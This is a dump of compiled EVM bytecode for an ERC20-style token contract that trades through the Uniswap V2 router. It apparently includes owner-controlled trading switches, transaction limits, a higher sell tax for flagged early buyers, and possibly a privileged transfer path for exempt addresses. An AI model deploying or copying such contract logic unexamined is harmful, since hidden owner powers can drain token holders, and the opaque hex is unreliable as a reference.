612b3481612af5565b840191505092915050565b60006020820190508181036000830152612b598184612b06565b905092915050565b600080fd5b612b6f81612a3f565b8114612b7a57600080fd5b50565b600081359050612b8c81612b66565b92915050565b612b9b81612a7b565b8114612ba657600080fd5b50565b600081359050612bb881612b92565b92915050565b60008060408385031215612bd557612bd4612b61565b5b6000612be385828601612b7d565b9250506020612bf485828601612ba9565b9150509250929050565b60008115159050919050565b612c1381612bfe565b82525050565b6000602082019050612c2e6000830184612c0a565b92915050565b6000819050919050565b6000612c59612c54612c4f84612a1f565b612c34565b612a1f565b9050919050565b6000612c6b82612c3e565b9050919050565b6000612c7d82612c60565b9050919050565b612c8d81612c72565b82525050565b6000602082019050612ca86000830184612c84565b92915050565b600080600060608486031215612cc757612cc6612b61565b5b6000612cd586828701612b7d565b9350506020612ce686828701612b7d565b9250506040612cf786828701612ba9565b9150509250925092565b600060208284031215612d1757612d16612b61565b5b6000612d2584828501612b7d565b91505092915050565b600060ff82169050919050565b612d4481612d2e565b82525050565b6000602082019050612d5f6000830184612d3b565b92915050565b60008060408385031215612d7c57612d7b612b61565b5b6000612d8a85828601612b7d565b9250506020612d9b85828601612b7d565b9150509250929050565b612dae81612bfe565b8114612db957600080fd5b50565b600081359050612dcb81612da5565b92915050565b60008060408385031215612de857612de7612b61565b5b6000612df685828601612b7d565b9250506020612e0785828601612dbc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60048110612e5157612e50612e11565b5b50565b6000819050612e6282612e40565b919050565b6000612e7282612e54565b9050919050565b612e8281612e67565b82525050565b6000602082019050612e9d6000830184612e79565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612eea57607f821691505b602082108103612efd57612efc612ea3565b5b50919050565b600081519050612f1281612b92565b92915050565b600060208284031215612f2e57612f2d612b61565b5b6000612f3c84828501612f03565b91505092915050565b6000604082019050612f5a6000830185612a51565b612f676020830184612a85565b9392505050565b600081519050612f7d81612da5565b92915050565b600060208284031215612f9957612f98612b61565b5b6000612fa784828501612f6e565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612fea82612a7b565b9150612ff583612a7b565b925082820190508082111561300d5761300c612fb0565b5b92915050565b60008151905061302281612b66565b92915050565b60006020828403121561303e5761303d612b61565b5b600061304c84828501613013565b91505092915050565b600060408201905061306a6000830185612a51565b6130776020830184612a51565b9392505050565b6000819050919050565b60006130a361309e6130998461307e565b612c34565b612a7b565b9050919050565b6130b381613088565b82525050565b600060c0820190506130ce6000830189612a51565b6130db6020830188612a85565b6130e860408301876130aa565b6130f560608301866130aa565b6131026080830185612a51565b61310f60a0830184612a85565b979650505050505050565b60008060006060848603121561313357613132612b61565b5b600061314186828701612f03565b935050602061315286828701612f03565b925050604061316386828701612f03565b9150509250925092565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006131c9602583612aba565b91506131d48261316d565b604082019050919050565b600060208201905081810360008301526131f8816131bc565b9050919050565b7f54726164696e6720697320616c726561647920656e61626c6564000000000000600082015250565b6000613235601a83612aba565b9150613240826131ff565b602082019050919050565b6000602082019050818103600083015261326481613228565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006132c7602683612aba565b91506132d28261326b565b604082019050919050565b600060208201905081810360008301526132f6816132ba565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61339081612a3f565b82525050565b60006133a28383613387565b60208301905092915050565b6000602082019050919050565b60006133c68261335b565b6133d08185613366565b93506133db83613377565b8060005b8381101561340c5781516133f38882613396565b97506133fe836133ae565b9250506001810190506133df565b5085935050505092915050565b600060808201905061342e60008301876130aa565b818103602083015261344081866133bb565b905061344f6040830185612a51565b61345c6060830184612a85565b95945050505050565b600060608201905061347a6000830186612a51565b6134876020830185612a51565b6134946040830184612a85565b949350505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006134f8602483612aba565b91506135038261349c565b604082019050919050565b60006020820190508181036000830152613527816134eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061358a602283612aba565b91506135958261352e565b604082019050919050565b600060208201905081810360008301526135b98161357d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006135f6601d83612aba565b9150613601826135c0565b602082019050919050565b60006020820190508181036000830152613625816135e9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613688602583612aba565b91506136938261362c565b604082019050919050565b600060208201905081810360008301526136b78161367b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061371a602383612aba565b9150613725826136be565b604082019050919050565b600060208201905081810360008301526137498161370d565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b6000613786601383612aba565b915061379182613750565b602082019050919050565b600060208201905081810360008301526137b581613779565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207460008201527f6865206d6178207472616e73616374696f6e20616d6f756e7420626566000000602082015250565b6000613818603d83612aba565b9150613823826137bc565b604082019050919050565b600060208201905081810360008301526138478161380b565b9050919050565b7f45524332303a2062616c616e636520616d6f756e74206578636565646564206d60008201527f61782077616c6c657420616d6f756e74206c696d697400000000000000000000602082015250565b60006138aa603683612aba565b91506138b58261384e565b604082019050919050565b600060208201905081810360008301526138d98161389d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207460008201527f6865206d6178207472616e73616374696f6e20616d6f756e7400000000000000602082015250565b600061393c603983612aba565b9150613947826138e0565b604082019050919050565b6000602082019050818103600083015261396b8161392f565b9050919050565b600061397d82612a7b565b915061398883612a7b565b925082820261399681612a7b565b915082820484148315176139ad576139ac612fb0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006139ee82612a7b565b91506139f983612a7b565b925082613a0957613a086139b4565b5b828204905092915050565b6000613a1f82612a7b565b9150613a2a83612a7b565b9250828203905081811115613a4257613a41612fb0565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613a7e602083612aba565b9150613a8982613a48565b602082019050919050565b60006020820190508181036000830152613aad81613a71565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613b10602683612aba565b9150613b1b82613ab4565b604082019050919050565b60006020820190508181036000830152613b3f81613b03565b9050919050565b600060a082019050613b5b6000830188612a85565b613b686020830187612a85565b8181036040830152613b7a81866133bb565b9050613b896060830185612a51565b613b966080830184612a85565b969550505050505056fea2646970667358221220fa1c59bf846322546d052a27d2abd3412e0fe42cc8d34239284775c456ce8dbe64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102085760003560e01c8063751039fc11610118578063b61b64fa116100a0578063e5b37a651161006f578063e5b37a6514610761578063ef437ff51461079e578063f2fde38b146107c7578063fca675a8146107f0578063ffdf01c31461081b5761020f565b8063b61b64fa146106a5578063bf6a1c0d146106d0578063d931d7be146106e7578063dd62ed3e146107245761020f565b806395d89b41116100e757806395d89b41146105aa578063a014f37d146105d5578063a457c2d714610600578063a9059cbb1461063d578063aa4bde281461067a5761020f565b8063751039fc146105005780638baa8249146105175780638c0b5e22146105545780638da5cb5b1461057f5761020f565b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e1461044c57806354b762a6146104775780635ea7e69a146104a257806370a08231146104ac578063715018a6146104e95761020f565b8063313ce5671461038e57806333ee1793146103b957806339509351146103e45780633eb5d9b2146104215761020f565b80631694505e116101d75780631694505e146102d257806318160ddd146102fd57806323b872dd14610328578063253ac0f1146103655761020f565b806303fd2a45146102145780630445b6671461023f57806306fdde031461026a578063095ea7b3146102955761020f565b3661020f57005b600080fd5b34801561022057600080fd5b50610229610844565b6040516102369190612a60565b60405180910390f35b34801561024b57600080fd5b5061025461086a565b6040516102619190612a94565b60405180910390f35b34801561027657600080fd5b5061027f610870565b60405161028c9190612b3f565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b79190612bbe565b610902565b6040516102c99190612c19565b60405180910390f35b3480156102de57600080fd5b506102e7610925565b6040516102f49190612c93565b60405180910390f35b34801561030957600080fd5b50610312610949565b60405161031f9190612a94565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190612cae565b610953565b60405161035c9190612c19565b60405180910390f35b34801561037157600080fd5b5061038c60048036038101906103879190612d01565b610982565b005b34801561039a57600080fd5b506103a3610aa7565b6040516103b09190612d4a565b60405180910390f35b3480156103c557600080fd5b506103ce610ab0565b6040516103db9190612a94565b60405180910390f35b3480156103f057600080fd5b5061040b60048036038101906104069190612bbe565b610ab6565b6040516104189190612c19565b60405180910390f35b34801561042d57600080fd5b50610436610aed565b6040516104439190612a94565b60405180910390f35b34801561045857600080fd5b50610461610af3565b60405161046e9190612a60565b60405180910390f35b34801561048357600080fd5b5061048c610b19565b6040516104999190612c19565b60405180910390f35b6104aa610b95565b005b3480156104b857600080fd5b506104d360048036038101906104ce9190612d01565b610e7e565b6040516104e09190612a94565b60405180910390f35b3480156104f557600080fd5b506104fe610ec6565b005b34801561050c57600080fd5b50610515610eda565b005b34801561052357600080fd5b5061053e60048036038101906105399190612d01565b610f0a565b60405161054b9190612c19565b60405180910390f35b34801561056057600080fd5b50610569610f2a565b6040516105769190612a94565b60405180910390f35b34801561058b57600080fd5b50610594610f30565b6040516105a19190612a60565b60405180910390f35b3480156105b657600080fd5b506105bf610f5a565b6040516105cc9190612b3f565b60405180910390f35b3480156105e157600080fd5b506105ea610fec565b6040516105f79190612c19565b60405180910390f35b34801561060c57600080fd5b5061062760048036038101906106229190612bbe565b611038565b6040516106349190612c19565b60405180910390f35b34801561064957600080fd5b50610664600480360381019061065f9190612bbe565b6110af565b6040516106719190612c19565b60405180910390f35b34801561068657600080fd5b5061068f6110d2565b60405161069c9190612a94565b60405180910390f35b3480156106b157600080fd5b506106ba6110d8565b6040516106c79190612a94565b60405180910390f35b3480156106dc57600080fd5b506106e56110de565b005b3480156106f357600080fd5b5061070e60048036038101906107099190612d01565b61116e565b60405161071b9190612c19565b60405180910390f35b34801561073057600080fd5b5061074b60048036038101906107469190612d65565b61118e565b6040516107589190612a94565b60405180910390f35b34801561076d57600080fd5b5061078860048036038101906107839190612d01565b611215565b6040516107959190612c19565b60405180910390f35b3480156107aa57600080fd5b506107c560048036038101906107c09190612dd1565b611235565b005b3480156107d357600080fd5b506107ee60048036038101906107e99190612d01565b611298565b005b3480156107fc57600080fd5b5061080561131b565b6040516108129190612e88565b60405180910390f35b34801561082757600080fd5b50610842600480360381019061083d9190612bbe565b61132e565b005b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b60606003805461087f90612ed2565b80601f01602080910402602001604051908101604052809291908181526020018280546108ab90612ed2565b80156108f85780601f106108cd576101008083540402835291602001916108f8565b820191906000526020600020905b8154815290600101906020018083116108db57829003601f168201915b5050505050905090565b60008061090d61165e565b905061091a818585611666565b600191505092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b60008061095e61165e565b905061096b85828561182f565b6109768585856118bb565b60019150509392505050565b61098a612275565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610a029190612a60565b602060405180830381865afa158015610a1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a439190612f18565b6040518363ffffffff1660e01b8152600401610a60929190612f45565b6020604051808303816000875af1158015610a7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa39190612f83565b5050565b60006012905090565b60125481565b600080610ac161165e565b9050610ae2818585610ad3858961118e565b610add9190612fdf565b611666565b600191505092915050565b60115481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6016549081150290604051600060405180830381858888f19350505050158015610b85573d6000803e3d6000fd5b5060006016819055506001905090565b610b9d612275565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c2c9190613028565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd79190613028565b6040518363ffffffff1660e01b8152600401610cf4929190613055565b6020604051808303816000875af1158015610d13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d379190613028565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc2307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611666565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610e0930610e7e565b600080610e14610f30565b426040518863ffffffff1660e01b8152600401610e36969594939291906130b9565b60606040518083038185885af1158015610e54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e79919061311a565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ece612275565b610ed860006122f3565b565b610ee2612275565b6b033b2e3c9fd0803ce80000006008819055506b033b2e3c9fd0803ce8000000600981905550565b600f6020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610f6990612ed2565b80601f0160208091040260200160405190810160405280929190818152602001828054610f9590612ed2565b8015610fe25780601f10610fb757610100808354040283529160200191610fe2565b820191906000526020600020905b815481529060010190602001808311610fc557829003601f168201915b5050505050905090565b6000610ff6612275565b6003601060006101000a81548160ff0219169083600381111561101c5761101b612e11565b5b0217905550600060118190555060006012819055506001905090565b60008061104361165e565b90506000611051828661118e565b905083811015611096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108d906131df565b60405180910390fd5b6110a38286868403611666565b60019250505092915050565b6000806110ba61165e565b90506110c78185856118bb565b600191505092915050565b60095481565b60165481565b6110e6612275565b601060029054906101000a900460ff1615611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d9061324b565b60405180910390fd5b6001601060026101000a81548160ff0219169083151502179055506001601060036101000a81548160ff021916908315150217905550565b600e6020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b61123d612275565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6112a0612275565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361130f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611306906132dd565b60405180910390fd5b611318816122f3565b50565b601060009054906101000a900460ff1681565b6000600267ffffffffffffffff81111561134b5761134a6132fd565b5b6040519080825280602002602001820160405280156113795781602001602082028036833780820191505090505b5090507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140b9190613028565b8160008151811061141f5761141e61332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061146e5761146d61332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000816001815181106114be576114bd61332c565b5b60200260200101519050600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166115b1577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008588426040518663ffffffff1660e01b815260040161157a9493929190613419565b6000604051808303818588803b15801561159357600080fd5b505af11580156115a7573d6000803e3d6000fd5b5050505050611658565b6115bb84846123b9565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd85846001815181106115ec576115eb61332c565b5b6020026020010151866040518463ffffffff1660e01b815260040161161393929190613465565b6020604051808303816000875af1158015611632573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116569190612f83565b505b50505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc9061350e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173b906135a0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118229190612a94565b60405180910390a3505050565b600061183b848461118e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146118b557818110156118a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189e9061360c565b60405180910390fd5b6118b48484848403611666565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361192a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119219061369e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199090613730565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a3d5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a9257601060029054906101000a900460ff16611a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a889061379c565b60405180910390fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b365750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c2f57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e57600854811115611bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcc9061382e565b60405180910390fd5b600954611be183610e7e565b82611bec9190612fdf565b1115611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c24906138c0565b60405180910390fd5b5b5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561226457601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611d865750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561217657600854821115611dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc790613952565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611e775750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611eaf57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f815760006003811115611ec857611ec7612e11565b5b601060009054906101000a900460ff166003811115611eea57611ee9612e11565b5b03611f48576001600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000606460115484611f5a9190613972565b611f6491906139e3565b9050611f71853083612407565b8083611f7d9190613a14565b9150505b8273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156120285750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561206057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120785750601060039054906101000a900460ff165b80156120915750601060019054906101000a900460ff16155b15612171576000601254905060011515600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036120fb5760135490505b6001601060016101000a81548160ff02191690831515021790555061211e61267d565b6000601060016101000a81548160ff0219169083151502179055506000606482856121499190613972565b61215391906139e3565b9050612160863083612407565b808461216c9190613a14565b925050505b612263565b60011515600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561222457508273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1561226257600060646013548461223b9190613972565b61224591906139e3565b9050612252853083612407565b808361225e9190613a14565b9150505b5b5b61226f848483612407565b50505050565b61227d61165e565b73ffffffffffffffffffffffffffffffffffffffff1661229b610f30565b73ffffffffffffffffffffffffffffffffffffffff16146122f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e890613a94565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600030905060006123ca828561118e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612401576124008483858403611666565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246d9061369e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124dc90613730565b60405180910390fd5b6124f0838383612744565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256d90613b26565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126649190612a94565b60405180910390a3612677848484612749565b50505050565b600061268830610e7e565b03156127425760008061269a30610e7e565b9050600047905060006126ce600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e7e565b90506000600a5484111561273c574792506126ea84600061274e565b82476126f69190613a14565b9450600a54821115612722578061270e576000612710565b845b8561271b91906139e3565b6016819055505b84601660008282546127349190612fdf565b925050819055505b50505050505b565b505050565b505050565b6000600267ffffffffffffffff81111561276b5761276a6132fd565b5b6040519080825280602002602001820160405280156127995781602001602082028036833780820191505090505b50905030816000815181106127b1576127b061332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612856573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061287a9190613028565b8160018151811061288e5761288d61332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401612943929190612f45565b6020604051808303816000875af1158015612962573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129869190612f83565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94784848430426040518663ffffffff1660e01b81526004016129e8959493929190613b46565b600060405180830381600087803b158015612a0257600080fd5b505af1158015612a16573d6000803e3d6000fd5b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a4a82612a1f565b9050919050565b612a5a81612a3f565b82525050565b6000602082019050612a756000830184612a51565b92915050565b6000819050919050565b612a8e81612a7b565b82525050565b6000602082019050612aa96000830184612a85565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ae9578082015181840152602081019050612ace565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b1182612aaf565b612b1b8185612aba565b9350612b2b818560208601612acb565b612b3481612af5565b840191505092915050565b60006020820190508181036000830152612b598184612b06565b905092915050565b600080fd5b612b6f81612a3f565b8114612b7a57600080fd5b50565b600081359050612b8c81612b66565b92915050565b612b9b81612a7b565b8114612ba657600080fd5b50565b600081359050612bb881612b92565b92915050565b60008060408385031215612bd557612bd4612b61565b5b6000612be385828601612b7d565b9250506020612bf485828601612ba9565b9150509250929050565b60008115159050919050565b612c1381612bfe565b82525050565b6000602082019050612c2e6000830184612c0a565b92915050565b6000819050919050565b6000612c59612c54612c4f84612a1f565b612c34565b612a1f565b9050919050565b6000612c6b82612c3e565b9050919050565b6000612c7d82612c60565b9050919050565b612c8d81612c72565b82525050565b6000602082019050612ca86000830184612c84565b92915050565b600080600060608486031215612cc757612cc6612b61565b5b6000612cd586828701612b7d565b9350506020612ce686828701612b7d565b9250506040612cf786828701612ba9565b9150509250925092565b600060208284031215612d1757612d16612b61565b5b6000612d2584828501612b7d565b91505092915050565b600060ff82169050919050565b612d4481612d2e565b82525050565b6000602082019050612d5f6000830184612d3b565b92915050565b60008060408385031215612d7c57612d7b612b61565b5b6000612d8a85828601612b7d565b9250506020612d9b85828601612b7d565b9150509250929050565b612dae81612bfe565b8114612db957600080fd5b50565b600081359050612dcb81612da5565b92915050565b60008060408385031215612de857612de7612b61565b5b6000612df685828601612b7d565b9250506020612e0785828601612dbc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60048110612e5157612e50612e11565b5b50565b6000819050612e6282612e40565b919050565b6000612e7282612e54565b9050919050565b612e8281612e67565b82525050565b6000602082019050612e9d6000830184612e79565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612eea57607f821691505b602082108103612efd57612efc612ea3565b5b50919050565b600081519050612f1281612b92565b92915050565b600060208284031215612f2e57612f2d612b61565b5b6000612f3c84828501612f03565b91505092915050565b6000604082019050612f5a6000830185612a51565b612f676020830184612a85565b9392505050565b600081519050612f7d81612da5565b92915050565b600060208284031215612f9957612f98612b61565b5b6000612fa784828501612f6e565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612fea82612a7b565b9150612ff583612a7b565b925082820190508082111561300d5761300c612fb0565b5b92915050565b60008151905061302281